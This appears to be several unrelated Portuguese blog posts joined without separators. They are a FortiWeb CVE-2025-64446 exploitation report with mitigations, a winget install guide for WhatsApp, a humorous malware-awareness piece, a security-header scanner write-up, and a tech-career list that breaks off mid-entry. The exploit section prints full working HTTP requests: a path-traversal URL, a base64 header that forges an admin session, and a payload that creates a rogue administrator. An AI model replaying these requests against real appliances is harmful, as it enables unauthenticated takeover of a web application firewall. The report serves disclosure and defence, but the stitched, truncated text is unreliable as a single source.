Este documento tem finalidade exclusivamente educacional e de defesa cibernética.

Disclaimer

Aviso Legal e Ético

O conteúdo aqui apresentado visa capacitar profissionais de segurança da informação e administradores de sistemas a:

Compreender o funcionamento técnico da vulnerabilidade CVE-2025–64446;

Identificar ativos vulneráveis em seus ambientes;

Reproduzir o cenário de forma controlada para validação de testes de penetração autorizados;

Aplicar as mitigações e workarounds necessários para proteger seus ambientes.

O autor não se responsabiliza pelo uso indevido das informações contidas neste documento. Qualquer utilização deste conhecimento para acessar, modificar, danificar ou comprometer sistemas sem a devida autorização expressa dos proprietários constitui crime sob as legislações aplicáveis, bem como viola políticas de uso aceitável e códigos de ética profissional.

Ao utilizar este material, você concorda que:

A responsabilidade por suas ações é inteiramente sua;

Você possui autorização explícita para testar os sistemas-alvo;

O autor, a empresa e quaisquer afiliados estão isentos de responsabilidade por danos diretos, indiretos, incidentais ou consequenciais decorrentes do uso deste conteúdo.

Se você não possui autorização para testar um sistema, não execute nenhum dos procedimentos aqui descritos contra esse sistema.

1. Sumário Executivo

Foi identificada uma vulnerabilidade de path traversal (CWE-23) no appliance FortiWeb exposto na porta 8443/TCP. O parser de URL da API REST não sanitiza adequadamente sequências ../ quando combinadas com caracteres URL-encoded (%3f = ?), permitindo que um atacante não autenticado alcance diretamente o backend CGI (fwbcgi), bypassando completamente a camada de autenticação e autorização da API REST.

A exploração foi confirmada com a criação de um usuário administrativo com perfil prof_admin, concedendo ao atacante controle total sobre o Web Application Firewall — incluindo capacidade de modificar/desabilitar políticas de segurança, acessar configurações sensíveis do ambiente protegido e potencialmente pivotar para ataques adicionais.

A vulnerabilidade afeta as versões 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.9, 7.6.0–7.6.4 e 8.0.0–8.0.1. O appliance analisado executa FortiWeb 7.4.2 build 622, dentro do intervalo vulnerável e sem patch disponível aplicado.

2. Detalhes Técnicos da Vulnerabilidade

2.1. Causa Raiz

O FortiWeb expõe uma API REST em /api/v2.0/cmdb/ que atua como proxy para o backend CGI localizado em /cgi-bin/fwbcgi. O roteamento interno da API parseia a URL e encaminha a requisição ao backend. Contudo, o parser de URL não normaliza sequências de path traversal antes de resolver o caminho final.

Quando um caractere ? é inserido via URL-encoding (%3f), o parser interpreta tudo que segue como query string, enquanto o servidor web subjacente trata o restante como parte do path. Essa discrepância permite "escapar" do diretório da API e alcançar o CGI diretamente.

2.2. Payload de Path Traversal

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1

Dissecação do payload:

/api/v2.0/cmdb/system/admin  ← Prefixo da API REST (módulo de admins)
%3f                        ← "?" encodado → parser da API vê query string
/../../../../../         ← Path traversal: sobe 5 níveis até a raiz
cgi-bin/fwbcgi          ← Alcança o backend CGI sem autenticação

Visualização da árvore de diretórios:

/                            ← raiz do filesystem
├── cgi-bin/
│   └── fwbcgi               ← 🎯 Alvo: backend CGI (sem auth)
├── api/
│   └── v2.0/
│       └── cmdb/
│           └── system/
│               └── admin    ← 🔒 API REST (com auth)
│   ...

O parser da API REST resolve:

• /api/v2.0/cmdb/system/admin ← parte "válida" da URL
• ?... ← parseia como query string, ignora o restante

Enquanto o servidor web resolve:

• /api/v2.0/cmdb/system/admin?/../../../../../cgi-bin/fwbcgi
• Após normalização: /cgi-bin/fwbcgi

Resultado: O backend CGI recebe a requisição diretamente, sem qualquer validação de sessão ou token da API REST.

2.3. Bypass de Autenticação via Header CGIINFO

Uma vez alcançado o backend CGI, é necessário fornecer um contexto de sessão. Isso é feito através do header HTTP proprietário CGIINFO:

CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

Decodificado (Base64 → JSON):

{
  "username": "admin",
  "profname": "prof_admin",
  "vdom": "root",
  "loginname": "admin"
}

3. Prova de Conceito — Execução Passo a Passo

3.1. Fase 1 — Enumeração

Request: Verificar se o path traversal é possível e se o backend CGI responde.

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <FORTIWEB_HOST>:8443
Content-Type: application/json
CGIINFO: <BASE64_SESSION_SPOOF>
Content-Length: <LEN>

{"data":{"q_type":2,"name":"admin"}}

q_type: 2 = operação de leitura (get). Se o backend responder com dados, o bypass está funcional.

3.2. Fase 2 — Criação de Usuário Administrativo

Request:

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <FORTIWEB_HOST>:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/json
CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Content-Length: 1168

{
    "data": {
        "q_type": 1,
        "name": "<USERNAME>",
        "access-profile": "prof_admin",
        "access-profile_val": "0",
        "last-name": "",
        "first-name": "",
        "email-address": "",
        "phone-number": "",
        "mobile-number": "",
        "hidden": 0,
        "comments": "",
        "sz_dashboard": -1,
        "type": "local-user",
        "type_val": "0",
        "admin-usergrp_val": "0",
        "wildcard_val": "0",
        "accprofile-override_val": "0",
        "sshkey": "",
        "trusthostv4": "0.0.0.0/0",
        "trusthostv6": "::/0",
        "passwd-set-time": 0,
        "history-password-pos": 0,
        "history-password0": "",
        "history-password1": "",
        "history-password2": "",
        "history-password3": "",
        "history-password4": "",
        "history-password5": "",
        "history-password6": "",
        "history-password7": "",
        "history-password8": "",
        "history-password9": "",
        "force-password-change": "disable",
        "force-password-change_val": "0",
        "password": "<PASSWORD>"
    }
}

Parâmetros críticos do payload:

3.3. Fase 3 — Confirmação

Response (HTTP 200 OK):

{
    "results": {
        "can_view": 0,
        "q_ref": 0,
        "can_clone": 1,
        "q_type": 1,
        "name": "<USERNAME>",
        "access-profile": "prof_admin",
        "access-profile_val": "2681",
        "trusthostv4": "0.0.0.0/0 ",
        "trusthostv6": "::/0 ",
        "type": "local-user",
        "type_val": "0",
        "password": "ENC XXXX",
        "passwd-set-time": <UNIX_TIMESTAMP>,
        "history-password-pos": 1,
        "history-password0": "ENC XXXX",
        "force-password-change": "disable",
        "force-password-change_val": "0"
    }
}

Indicadores de sucesso:

3.4. Fase 4 — Login e Acesso Administrativo

Request de autenticação:

POST /login HTTP/1.1
Host: <FORTIWEB_HOST>:8443
Content-Type: application/x-www-form-urlencoded

username=<USERNAME>&password=<PASSWORD>&ajax=1

Resultado: Login bem-sucedido. Sessão administrativa estabelecida com privilégios prof_admin.

Ações possíveis de um threat actor pós-exploração:

• Desabilitar políticas de proteção do WAF
• Expor servidores backend originalmente protegidos
• Modificar regras de SSL/TLS inspection
• Criar backdoors adicionais (novos admins, tokens de API)
• Acessar e exfiltrar configurações do ambiente protegido
• Redirecionar tráfego legítimo para destinos maliciosos
• Desabilitar logging para encobrir atividades

4. Detalhes do Ambiente Vulnerável

5. Impacto

6. Mitigação

6.1. Workaround Aplicado (Imediato)

Conforme recomendação oficial da Fortinet PSIRT para a CVE-2025–64446, foi aplicado o seguinte workaround para eliminar o vetor de ataque enquanto o patch não é instalado:

Desabilitar HTTP e HTTPS nas interfaces voltadas para a Internet (internet-facing).

Ações executadas no appliance:

config system interface
    edit "<INTERFACE_NAME>"
        set allowaccess ping   ← Remove "https" e "http" dos serviços permitidos
    next
end

Alternativamente, via GUI: Network → Interfaces → <INTERFACE> → Administrative Access → desmarcar HTTPS e HTTP.

Efeito do workaround:

Nota da Fortinet:

“Fortinet recommends taking this action until an upgrade can be performed. If the HTTP/HTTPS Management interface is internally accessible only as per best practice, the risk is significantly reduced.”

Racional: O path traversal depende de requisições HTTP/HTTPS. Ao remover esses protocolos da interface internet-facing, o appliance deixa de responder a qualquer requisição web na porta 8443 a partir da WAN, neutralizando completamente a exploração remota. A administração permanece possível através de interfaces internas ou via console/SSH a partir de jump hosts autorizados.

7.2. Recomendações Adicionais

Imediatas (Próximas 24h) 🔴 Urgente

1 Remover o usuário criado via console local ou acesso legítimo: config system admin → delete “<USERNAME>” → end

2 Rotacionar todas as credenciais de administradores legítimos do appliance .

3 Auditar logs de acesso (/var/log/fwbd.log, event log) por ocorrências de /cgi-bin/fwbcgi acessado via path traversal ou a partir de IPs não autorizados.

4 Confirmar que o workaround está efetivo — verificar via scan externo que a porta 8443 não responde mais a HTTP/HTTPS a partir da Internet.

Curto Prazo (1–7 dias) 🟠 Alta

5 Aplicar patch oficial da Fortinet (PSIRT advisory para CVE-2025–64446). Atualizar para versão corrigida conforme matriz de upgrade da Fortinet. Após o upgrade, reabilitar HTTPS na interface externa SE necessário!

6 Implementar autenticação multifator (MFA) para todas as contas administrativas do FortiWeb.

7 Revisar configuração de trusthost em todos os administradores — garantir que apenas IPs autorizados estejam listados.

Longo Prazo 🟡 Média

8 Implementar monitoramento contínuo de CVEs e PSIRTs da Fortinet para appliances FortiWeb em produção.

9 Integrar o FortiWeb a um SIEM para detecção de padrões anômalos de criação/alteração de administradores.

10 Restringir a interface administrativa a uma VLAN de gerenciamento dedicada, segregada da rede de produção. Manter como prática arquitetural que interfaces de gestão nunca estejam expostas diretamente à Internet.

7. Referências

CVE-2025–64446 — Fortinet PSIRT Advisory — Relative Path Traversal in FortiWeb REST API

• https://fortiguard.fortinet.com/psirt/FG-IR-25-910
• https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/
• https://blog.qualys.com/vulnerabilities-threat-research/2025/11/14/unauthenticated-authentication-bypass-in-fortinet-fortiweb-cve-2025-64446-exploited-in-the-wild

Deu tudo certo, porém essa versão possui um debloat nativo, onde a loja de aplicativos da Microsoft não vem instalada. O problema é que, hoje em dia, o WhatsApp (que fique registrado: prefiro o Telegram 1000x) só dá para instalar via Loja — ou pelo menos, era o que eu pensava.

Vou direto ao ponto. Tive diversas tentativas com muitas falhas, então quero mostrar para vocês somente a forma mais assertiva de fazer isso, e não as outras 10 formas de como não fazê-lo. Então, vamos lá.

Tentei instalar com o Chocolatey, mas não deu certo. Então partimos para o WinGet. Mas o WinGet é a mesma coisa que a loja? Eu não sabia, então pesquisei um pouco sobre:

Não, a Microsoft Store e o Winget são diferentes: a Store é uma loja de aplicativos com interface gráfica, enquanto o Winget é um gerenciador de pacotes de linha de comando que também pode obter aplicativos do repositório da Store (entre outros) por meio de uma fonte dedicada. São ferramentas distintas, mas às vezes apresentam sobreposição de conteúdo.

Vamos ao que interessa.

Primeiro, queremos encontrar o ID do pacote que será instalado. Abra o PowerShell como administrador e busque o ID:

winget search WhatsApp

Anote o ID que aparecer na coluna “Id”.

O próximo passo é, de fato, seguir com a instalação usando esse ID (por algum motivo, não estava funcionando somente com o nome):

winget install -e --id <O ID que voce encontrou>

BÔNUS

E para manter tudo atualizado, basta você usar o comando abaixo:

winget update --all

Isso e tudo pessoal!

Se meu artigo te ajudou de alguma forma, deixa seu follow ai pra me ajudar :D

Faz tempo que eu não escrevo, durante o processo de criação desse artigo, eu percebi o motivo…

A segurança digital nunca foi tão crítica, e é por isso que eu tenho um emprego! Bem-vindo ao mundo maravilhoso da internet, onde tudo é lindo, prático e… cheio de gente tentando roubar seus dados.

Mas relaxa! Este guia vai te ajudar a navegar nesse oceano digital sem virar comida de tubarão cibernético. (Da onde eu tirei isso, brainrot?).

Capítulo 1: Malware vs. Vírus

Todo vírus é malware, mas nem todo malware é vírus.

Pensa assim: Malware é tipo “crime” — é o termo geral pra qualquer coisa ruim que acontece. Vírus é um tipo específico de malware, tipo “roubo de celular” é um tipo de crime.

A diferença? Um vírus é aquele chato que precisa se grudar em algum arquivo legítimo pra se espalhar, tipo aquele amigo que só vai na festa se você for junto. Já o malware é a categoria toda: tem o ransomware (o sequestrador de arquivos), o spyware (o stalker digital), os worms (a praga que se espalha sozinha)… e etc…

Tá, mas por que eu preciso saber disso?

Porque quando você descobre que tem malware, a pergunta seguinte é: “Que tipo de encrenca eu arrumei?”

É um Spyware te espionando tipo Big Brother (1984)? Ou um Ransomware que sequestrou suas fotos de férias e agora quer resgate em Bitcoin? Saber o tipo de problema é o primeiro passo pra resolver — ou pelo menos pra saber o tamanho da encrenca.

Capítulo 2: Os Vilões Menos Famosos (Mas Igualmente Chatos)

Worms: os ninjas esquecidos do mundo digital

Enquanto o ransomware rouba a cena nas manchetes, os worms estão ali, quietinhos, fazendo estrago. Tipo aquele vírus de WhatsApp que seu tio encaminhou sem querer pra família inteira.

O superpoder deles? Autopropagação. Depois que você executou — eles se espalham sozinhos pela rede como fofoca em grupo de família. E hoje em dia, são o Uber de outros malwares, entregando ransomware de porta em porta.

E seus dispositivos “inteligentes”? Nem tanto…

Aquela câmera de segurança, o roteador, a geladeira smart que você comprou pra impressionar as visitas? Pois é, eles são o sonho de consumo dos worms.

Por quê? Porque vêm com senhas tipo “admin123” e ninguém nunca atualiza. É tipo deixar a porta de casa aberta com um bilhete “Fique à vontade Sr.Hascker!”.

Resultado: milhões de dispositivos viram botnets — exércitos zumbis digitais usados pra atacar a o BTS ou os Back Street Boys.

Adware: o chato que ninguém convidou

O adware é aquele primo distante do malware. Não vai destruir seu computador nem roubar sua conta bancária, mas vai te encher de propaganda como se você tivesse entrado num camelô digital.

É considerado “leve” porque só quer te mostrar anúncios, mas:

1. Ele tá te stalkeando 24/7 pra saber o que você gosta.
2. Esses anúncios duvidosos podem ser a porta de entrada pra coisa pior.

É tipo deixar um vendedor de enciclopédia entrar na sua casa — ele não vai te roubar, mas pode chamar os amigos.

Capítulo 3: “Acho Que Tem Algo Errado Com Meu Celular…”

Sinais de que você pode estar sendo espionado (e não é paranoia)

Seu celular tá:

• Acabando a bateria mais rápido que promessa de político? (Ele tá gravando e mandando tudo pra alguém)
• Usando mais dados que adolescente no TikTok?
• Esquentando mesmo quando tá na gaveta?
• Demorando uma eternidade pra desligar? (Tá terminando de enviar seus segredos)
• Fazendo barulhos estranhos nas ligações? (Alô, tem alguém na linha…)

Capítulo 4: A Arte de Assustar Pessoas na Internet

Scareware: o susto que funciona desde sempre

Sabe aquele pop-up GIGANTE e PISCANTE gritando “SEU PC TEM 57 VÍRUS!!! CLIQUE AQUI URGENTE!!!”?

Pois é, ainda funciona. E funciona MUITO!

Por quê? Porque quando a gente fica com medo, o cérebro desliga a parte racional e liga o modo pânico. Aí você clica em “Corrigir Agora” e… parabéns, você acabou de pagar por um antivírus falso que provavelmente É o vírus.

Mas por que tanta gente cai nessa?

Porque a maioria das pessoas não faz ideia de como um vírus funciona de verdade. Então quando aparece um aviso técnico, alarmante e com cara profissional, parece legítimo.

É o medo de perder as fotos, os arquivos, o acesso ao banco… Aí você clica “só por precaução”. E pronto, caiu no conto do vigário digital.

Por que esse golpe tá crescendo?

Simples: é muito mais fácil (e barato!) enganar uma pessoa do que hackear um sistema de segurança corporativo com 50 camadas de proteção.

Atacar o humano é o caminho mais curto, e mais facil :D.

Capítulo 5: Ransomware e Phishing — Os Campeões de Audiência

Por que empresas AINDA caem em golpe de ransomware?

Porque mesmo em 2025, tem empresa com:

• Sistema desatualizado desde a época do Orkut.
• Senha “123456” no servidor. (Ou Louvre né..)
• Backup? Que backup?
• Aquele funcionário que clica em tudo.

E os criminosos evoluíram: agora fazem extorsão tripla — criptografam seus dados, ameaçam vazar tudo na internet e ainda ligam pros seus clientes avisando. É tipo ser assaltado três vezes no mesmo dia.

Como identificar phishing moderno (spoiler: tá cada vez mais difícil)

Fique de olho em:

Urgência fake: “Sua conta será BLOQUEADA em 24h!”, “Atividade SUSPEITA detectada!”, “Seu pacote da SHEIN vai VOLTAR pro remetente!”

Links suspeitos: No PC, passa o mouse em cima do link antes de clicar. Vai aparecer o endereço real — e geralmente é algo tipo “amaz0n-seguranca-cliente-verificacao-urgente.ru”

Pedidos estranhos: Nenhum banco, loja ou serviço sério vai te pedir pra “clicar aqui e validar sua senha”. NUNCA — NUNCA — NUNCA-NUNCA — NUNCA — NUNCA.

No celular: É pior. Tela pequena, link encurtado (bit.ly da vida), e vem por SMS ou WhatsApp — canais que a gente confia mais. É a combinação perfeita pro desastre — Fica esperto!

Capítulo 6: Como Não Virar Estatística em 2025

A dica de ouro (que você TEM que seguir)

Ative a autenticação em dois fatores (MFA) em TUDO.

Sério. Email, banco, redes sociais, Netflix, aquele joguinho (tigrinho tem MFA?)… TUDO.

Por quê? Porque sua senha VAI vazar. Não é questão de “se”, é questão de “quando”. Com MFA ativado, mesmo que roubem sua senha, o ladrão não consegue entrar sem o segundo fator (que tá no seu celular).

É tipo ter uma porta com tranca e ferrolho. Uma alguém pode arrombar, mas duas já complica.

IMPORTANTE: Evita MFA por SMS ou WhatsApp — os espertos conseguem clonar seu chip. Use app autenticador ou chave de segurança física.

A IA vai piorar tudo? (Resposta curta: sim)

A inteligência artificial nas mãos de cibercriminosos… já tá rolando:

• Phishing escrito por IA: emails perfeitos, personalizados, sem erros de português, que parecem ter sido escritos pelo seu Aurelio (Aquele do dicionario).
• Malware inteligente: que muda o próprio código em tempo real pra despistar antivírus, parece mentira, mas não é!
• Deepfakes: vídeos e áudios falsos do seu CEO pedindo transferência urgente (KKKKK).
• Ambiente: O ambiente aonde se tem IA também tem se tornado alvo, não pode vacilar com seu VS Code, GitHub Copilot e afins.

É a verdadeira corrida armamentista digital, e tá só começando. ☠️

Conclusão: Não Entre em Pânico #DONTPANIC (Mas Fique Esperto)

Segurança digital em 2025 não precisa ser um pesadelo:

🎯Desconfiar de urgências (“Clique AGORA ou sua conta será DELETADA!”).
🔐 Ativar autenticação em dois fatores.
😒 Manter tudo atualizado (sim, aquelas atualizações chatas).
♾️ Pensar 42 vezes antes de clicar.
🦠 Usar antivírus de verdade (não aquele que veio num pop-up do site que toca musica do Brazzino 🔞).

Lembre-se: Cibersegurança não é só sobre tecnologia — é sobre comportamento. O melhor antivírus do mundo não te salva se você clicar em “Você ganhou um iPhone, clique aqui!”.

Mantenha o cérebro ligado, o senso crítico afiado e a paranoia saudável, seus dados agradecem.

Compartilha aí pra salvar aquele amigo que cai em tudo! 😅🔒

Toda vez é a mesma história. Você finaliza o deploy de um novo site ou aplica uma série de patches de segurança em vários servidores. O trabalho pesado parece ter acabado. Você se recosta na cadeira, toma um gole de café e, então, ela chega: a lista. Uma planilha ou um ticket com dezenas de URLs internas e a incumbência de “validar se as políticas de segurança foram aplicadas corretamente”.

É o início de um ritual lento e doloroso.

A Rotina Lenta e Frustrante da Verificação Manual

Para cada URL da lista, o processo começa:

1. Abro o site no navegador.
2. Abro as Ferramentas de Desenvolvedor (F12) para checar os cabeçalhos de resposta. O Content-Security-Policy (CSP) está lá? Ele contém 'unsafe-inline'? E o X-Frame-Options?
3. Abro uma nova aba e vou até um testador de SSL para verificar o tempo de expiração do certificado e se o hostname corresponde.
4. Em outra aba, acesso o site do HSTS Preload para ver se o domínio está na lista.
5. Tento acessar a versão http:// para garantir que o redirecionamento para https:// está funcionando.
6. Repito tudo para a próxima URL.

Depois da quinta URL, a atenção começa a falhar. A mente entra no piloto automático. Será que eu verifiquei a diretiva includeSubDomains no HSTS do site anterior ou só imaginei isso? A frustração cresce. Esse trabalho é repetitivo, demorado e terrivelmente propenso a erro humano. E se a lista tivesse 50 domínios? A tarefa levaria horas.

Foi em um desses dias, com uma lista de 15 URLs para validar, que o estalo veio. “Já chega. Eu não sou um desenvolvedor mas eu consigo automatizar coisas.”

Por que o Python?

Eu precisava de uma ferramenta que pudesse fazer tudo isso por mim, direto do meu terminal. A escolha da linguagem foi óbvia: Python. Com sua sintaxe limpa e um ecossistema de bibliotecas robusto, ele é o canivete suíço perfeito para esse tipo de automação.

Com as bibliotecas requests para fazer as chamadas HTTP e ssl para inspecionar os certificados, eu tinha os blocos de construção fundamentais. O plano era simples: criar um script que lesse uma lista de URLs e, para cada uma, executasse a mesma bateria de testes que eu fazia manualmente.

Mãos à Obra: Construindo Nosso Scanner de Segurança

Comecei a traduzir meu fluxo de trabalho manual em funções Python. A beleza da programação é como ela força você a sistematizar o conhecimento.

Primeiro, a análise dos cabeçalhos. Com uma única requisição, eu poderia capturar todos os headers de uma vez e verificar cada política que precisava.

# Parte da lógica para analisar os headers
headers = response.headers

# --- CSP (Content Security Policy) ---
csp = headers.get('Content-Security-Policy')
if not csp:
    print(f"{RED}[FAIL]{RESET} CSP is not implemented.")
else:
    print(f"{GREEN}[PASS]{RESET} CSP is implemented.")
    if 'unsafe-eval' in csp:
        print(f"{RED}[FAIL]{RESET} CSP contains unsafe-eval.")

# --- HSTS (HTTP Strict Transport Security) ---
hsts = headers.get('Strict-Transport-Security')
if not hsts:
    print(f"{RED}[FAIL]{RESET} HTTP Strict Transport Security (HSTS) not enforced.")
else:
    if 'includeSubDomains' in hsts:
        print(f"{GREEN}[PASS]{RESET} HSTS header contains 'includeSubDomains'.")

Aos poucos, o script foi tomando forma. Adicionei a verificação do certificado SSL, a consulta à API do HSTS Preload e a checagem do redirecionamento. O resultado foi uma ferramenta que fazia em segundos o que me levava quase uma hora.

Conforme usei a ferramenta, percebi que às vezes eu só queria checar uma única URL rapidamente, sem precisar criar um arquivo de texto. A evolução foi natural: adicionei uma lógica simples para que o script aceitasse tanto um arquivo .txt quanto um domínio diretamente como argumento.

# Lógica para aceitar arquivo ou URL única
input_arg = sys.argv[1]
urls = []

if os.path.isfile(input_arg):
    # Se for um arquivo, lê as linhas
    with open(input_arg, 'r') as f:
        urls = [line.strip() for line in f if line.strip()]
else:
    # Se não, trata como URL única
    urls.append(input_arg)

A Nova Realidade: Validação em Segundos

Hoje, o ritual é diferente. A mesma lista de 15 URLs chega. Em vez de um suspiro de frustração, abro meu terminal e executo um único comando:

python WSPS.py urls_para_validar.txt

Em menos de um minuto, tenho um relatório completo e colorido, mostrando exatamente o que está em conformidade e o que precisa de atenção. A validação de segurança deixou de ser um gargalo para se tornar uma etapa trivial e eficiente do meu fluxo de trabalho.

Mais que um script, uma mentalidade!

Essa jornada para criar uma ferramenta simples reforçou uma lição poderosa: as tarefas mais tediosas e repetitivas são, muitas vezes, as melhores candidatas à automação. No mundo da segurança e do DevOps, onde a consistência é fundamental, automatizar nossas verificações não é um luxo, é uma necessidade.

O Web Security Policy Scanner (WSPS) nasceu de uma frustração pessoal, mas se tornou um exemplo de como podemos transformar nosso próprio trabalho com algumas linhas de código.

E a melhor parte? Ele é open-source. Se você enfrenta o mesmo desafio, eu te convido a usar, aprimorar e contribuir com o projeto.

Você pode encontrar o código completo no meu GitHub: https://github.com/Silva-Sec/PurpleTeaming/tree/main/WebSecurityPolicyScanner

Vamos parar de clicar e começar a scriptar.

E aqui vai o meu TOP 5 para os próximos cinco anos.

⚠️Não se assuste com os nomes e termos, provavelmente você não sabe o que significam, e é exatamente por isso que você está aqui!⚠️

1. 🤖AI Engineer / Desenvolvedor de apps com IA (LLMs, agentes)

Um AI Engineer / Desenvolvedor de apps com IA é a pessoa que pega a “inteligência” de um modelo de IA (como o ChatGPT, Claude ou Gemini) e transforma isso em aplicativos e sistemas úteis para empresas ou usuários.

Não é só “falar com a IA” — esse profissional ensina a IA a trabalhar para um objetivo específico, conecta ela a bancos de dados, sistemas internos ou APIs, e garante que a resposta dela seja confiável e segura.

📌 O que faz no dia a dia

• Configurar a IA para entender a linguagem e os termos da empresa.
• Ligar a IA ao banco de dados e sistemas da empresa.
• Treinar/ajustar para que ela responda certo e dentro das regras.
• Colocar no ar como um site, app ou integração com WhatsApp, e manter funcionando.

💡 Exemplo para leigos

Imagine que uma empresa quer um assistente virtual que:

1. Leia documentos internos.
2. Responda perguntas de clientes usando esses documentos.
3. Registre tudo no sistema de atendimento.

Em termos simples: É o arquiteto e construtor de aplicativos que usam IA para resolver problemas do mundo real.

Por quê 🚩:

IA e Big Data lideram como competências que mais crescem, e funções de IA estão no topo das listas anuais de cargos em alta. Empresas já exigem “AI literacy”. World Economic ForumFast CompanyMicrosoft

• Rota rápida (0–3 meses): Python + APIs de LLM (OpenAI/Anthropic), fundamentos de prompt engineering, RAG básico (vetores), Git.
• Primeiros projetos: chatbot com memória; automação de atendimento; agente que lê PDFs e cria relatórios.
• Como evoluir (6–12 meses): MLOps/LLMOps (deploy, monitoramento, avaliação), pipelines de dados.

🛜Pessoas para seguir: ahirtonlopes

2. 🛡️Analista de Segurança / SOC (Security Operations Center)

Um Analista de Segurança / SOC (Security Operations Center) é como um “guarda-costas digital” que fica monitorando, em tempo real, se alguém está tentando invadir, roubar ou causar danos a sistemas e dados de uma empresa.

📌 O que faz no dia a dia

• Monitora alertas vindos de sistemas que registram tudo o que acontece na rede (como câmeras, só que para computadores).
• Identifica ameaças — por exemplo, um acesso suspeito vindo de outro país ou um arquivo que parece vírus.
• Responde rápido — pode bloquear um usuário, isolar um computador ou avisar a equipe técnica para corrigir um problema.
• Investiga incidentes para descobrir o que aconteceu, como aconteceu e como evitar que aconteça de novo.

💡Exemplo para leigos:

Pense em um shopping com centenas de lojas. O SOC é a sala de segurança com monitores e alarmes, e o analista é a pessoa que fica de olho nas câmeras digitais da rede. Se vê algo estranho, ele age rápido para conter o problema antes que cause prejuízo.

Por quê 🚩:

É uma das ocupações que mais crescem na década (≈33% nos EUA) e o risco cibernético segue aumentando em frequência e sofisticação. Bureau of Labor StatisticsWorld Economic Forum Reports

• Rota rápida (0–3 meses): redes + Linux + fundamentos de incident response, SIEM (p.ex., Splunk/Elastic), MITRE ATT&CK.
• Primeiros projetos: laboratório com ELK capturando logs; detecções básicas; playbooks.
• Como evoluir (6–12 meses): Threat hunting, engenharia de detecção, cloud security.

Bonus — um RoadMap: https://github.com/guiaanonima/roadmap

🛜Pessoas para seguir: GuiaAnonima, HackingClub, Rafael Sousa

3.☁️Cloud & Platform Engineering (DevOps/SRE inicial)

Um profissional de Cloud & Platform Engineering (no nível inicial, em funções como DevOps ou SRE júnior) é a pessoa que constrói e mantém a “infraestrutura invisível” onde os sistemas e aplicativos rodam.

📌 O que isso significa no dia a dia

• Coloca no ar aplicativos e serviços na nuvem (AWS, Azure, Google Cloud).
• Automatiza tarefas que antes eram feitas manualmente, como instalar servidores, criar backups ou atualizar sistemas.
• Garante que tudo funcione 24/7, monitorando desempenho, corrigindo problemas e evitando quedas.
• Cuida de segurança e custos, para que a nuvem seja usada de forma eficiente e protegida.

💡 Exemplo para leigos:
Imagine que um aplicativo de delivery precisa funcionar para milhões de pedidos por dia. O desenvolvedor cria o app, mas quem monta e mantém o “palco” onde ele roda é o Cloud Engineer. É como o responsável por toda a cozinha, energia, água e logística de um restaurante — sem ele, o show (o app) não acontece.

Por quê 🚩:

A adoção de “platform engineering” está disparando; a maioria das grandes empresas deve ter times dedicados até 2026 e mais da metade já adotou — tendência que cresce. Relatorio da Google

• Rota rápida (0–3 meses): Linux + Git + Docker + fundamentos de AWS/Azure + CI/CD (GitHub Actions).
• Primeiros projetos: pipeline até produção num cluster simples; observabilidade básica.
• Como evoluir (6–12 meses): Kubernetes, IaC (Terraform), custo/segurança na nuvem.

🛜Pessoas para seguir: fidelissauro

4.🎲Data Analyst → Analytics/AI Data Engineer (trilha de dados)

Um Data Analyst (Analista de Dados) é a pessoa que pega um monte de informações brutas e transforma em respostas claras para ajudar empresas a tomar decisões.

Quando ele evolui para AI Data Engineer, passa a preparar e organizar os dados para que modelos de inteligência artificial também possam entender e usar essas informações.

📌 O que faz no dia a dia

• Coleta dados de várias fontes (planilhas, sistemas, APIs).
• Limpa e organiza esses dados para evitar erros e duplicações.
• Analisa e cria relatórios com gráficos e dashboards que mostram tendências e problemas.
• (Como AI Data Engineer) constrói pipelines que alimentam modelos de IA com dados prontos e de qualidade.

💡 Exemplo para leigos:
Pense em uma empresa de vendas online. Ela tem dados de pedidos, clientes, produtos e reclamações. O Data Analyst vai organizar essas informações e responder perguntas como:

• “Quais produtos vendem mais?”
• “Em que época as vendas caem?”
• “Quais clientes têm mais chance de comprar de novo?”

Já o AI Data Engineer garante que esses mesmos dados estejam bem estruturados para que a IA consiga, por exemplo, prever vendas futuras ou recomendar produtos para cada cliente.

Por quê 🚩:

• Demanda por dados segue forte; data scientists crescem ~36% (2023–2033) e “AI & Big Data” aparecem no topo das skills em ascensão. Bureau of Labor StatisticsWorld Economic Forum
• Rota rápida (0–3 meses): SQL + Python (Pandas) + BI (Power BI/Looker).
• Primeiros projetos: dashboard de negócio com dados públicos; análise de churn; forecast simples.
• Como evoluir (6–12 meses): dbt, orquestração (Airflow), modelagem para RAG/LLMs.

🛜Pessoas para seguir: teomewhy

5. 💻Automation Developer (RPA + IA)

Um Automation Developer (RPA + IA) é a pessoa que cria “robôs de software” para fazer tarefas repetitivas no lugar das pessoas, muitas vezes usando inteligência artificial para deixar esses robôs mais espertos.

📌 O que faz no dia a dia

• Mapeia processos que hoje são feitos manualmente (ex.: copiar dados de um sistema para outro, preencher planilhas, responder e-mails padrão).
• Cria robôs que imitam o que um humano faria no computador — clicando, digitando e lendo dados.
• Usa IA para melhorar o robô, como entender textos, classificar documentos ou responder perguntas.
• Mantém e melhora esses robôs conforme o processo muda.

💡 Exemplo para leigos:
Imagine uma empresa que recebe centenas de notas fiscais por e-mail todo mês. O Automation Developer pode criar um robô que abre cada e-mail, baixa a nota, extrai os dados e lança automaticamente no sistema da empresa. Se usar IA, o robô ainda pode entender formatos diferentes, corrigir erros e até enviar alertas se algo parecer estranho.

É como ter um assistente virtual invisível, que trabalha 24 horas por dia, sem café, sem férias e sem reclamar.

Por quê 🚩:

